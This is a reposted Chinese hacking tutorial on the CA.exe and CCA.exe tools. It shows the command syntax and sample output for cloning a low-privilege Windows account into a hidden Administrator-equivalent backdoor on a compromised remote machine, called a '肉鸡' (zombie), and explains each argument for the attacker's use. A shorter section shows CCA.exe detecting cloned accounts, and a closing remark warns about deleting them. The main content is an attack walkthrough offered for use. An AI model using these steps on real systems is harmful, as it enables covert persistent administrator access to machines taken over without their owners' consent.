克隆admin！CA.EXE使黑客成为超级用户(转)[@more@]

　　利用SA.exe 将Iusr_victim克隆为Administrator。

　　C:>ca 192.168.0.1 test test iusr_victim password

　　Clone Administrator, by netXeyes 2002/04/06

　　Written by netXeyes 2002, dansnow@21cn.com

　　Connect 192.168.0.1 ....OK

　　Get SID of iusr_victim ....OK

　　Prepairing ....OK

　　Processing ....OK

　　Clean Up ....OK

　　这时，iusr_victim就成为了超级用户，并有具有和Administrator同样的设置(桌面、菜单等等）。

　　注：在ca 192.168.0.1 test test iusr_victim password 中，

　　192.168.0.1是肉鸡的IP地址；第一个test是你已经得到的肉鸡上的管理员用户名，第二个test是这个用户名的密码；iusr_victim是你想克隆的帐号，最后这个password就是你想给iusr_victim用的密码。

　　-------------------------------------------------------

　　用CCA.EXE检查是否存在克隆的帐号。

　　不必改变ACL, 支持远程检查。

　　C:>cca 192.168.0.29 administrator 123456

　　Check Clone Account, by netXeyes 2002/04/29

　　Written by netXeyes 2002, dansnow@21cn.com

　　Connect 192.168.0.29 ....OK

　　Prepairing ....OK

　　Processing ....OK

　　Checking ....

　　Check Result:

　　[DuDu] AS SAME AS [administrator]

　　[Guest] AS SAME AS [administrator]

　　[IUSR_RONG] AS SAME AS [administrator]

　　[IWAM_RONG] AS SAME AS [administrator]

　　[TEST] AS SAME AS [administrator]

　　[xr] AS SAME AS [administrator]

　　[Guest] AS SAME AS [DuDu]

　　[IUSR_RONG] AS SAME AS [DuDu]

　　这上面的DuDu，guest，IUSR_RONG等帐户就已经是被克隆为administrator啦

　　注意删除克隆账户是小心一定注意。我试验过很多机子删除之后administrator账户不再超管组

　　

本文来自：http://www.linuxpk.com/30608.html

-->linux电子图书免费下载和技术讨论基地

·上一篇：黑客大学堂：你看的懂的肉鸡制作步骤

·下一篇：典型攻击之渗透攻击必用命令与步骤

最新更新
	·注册表备份和恢复 ·低级格式化的主要作用 ·如何防范恶意网站 ·常见文件扩展名和它们的说明 ·专家：警惕骇客骗局，严守企业信息 ·PGPforWindows介紹基本设定(2) ·解剖安全帐号管理器（SAM）结构 ·“恶作剧之王”揭秘 ·绿色警戒 ·黑客反击战 ·网络四大攻击方法及安全现状描述 ·可攻击3种浏览器代码流于互联网 ·黑客最新的兴趣点,下个目标会是谁? ·“僵尸”——垃圾邮件的主要传播源 ·Lebreat蠕虫惊现3变种 ·POSTFIX反病毒反垃圾Ų… ·在FreeBSD上用PHP实现在线添加FTP用户 ·简单让你在FreeBSDADSL上… ·安全版本：OpenBSD入门技巧解析 ·Internet连接共享上网完全攻略 ·关于ADSL上网网速常识 ·静态缓存和动态缓存的比较 ·最友好的SQL注入防御方法 ·令网站提速的7大秘方 ·网络基础知识大全 ·路由基本知识 ·端口映射的几种实现方法 ·VLAN经典诠释 ·问题分析与解决——ADSL错误代码 ·问题分析——关于2条E1的线路绑定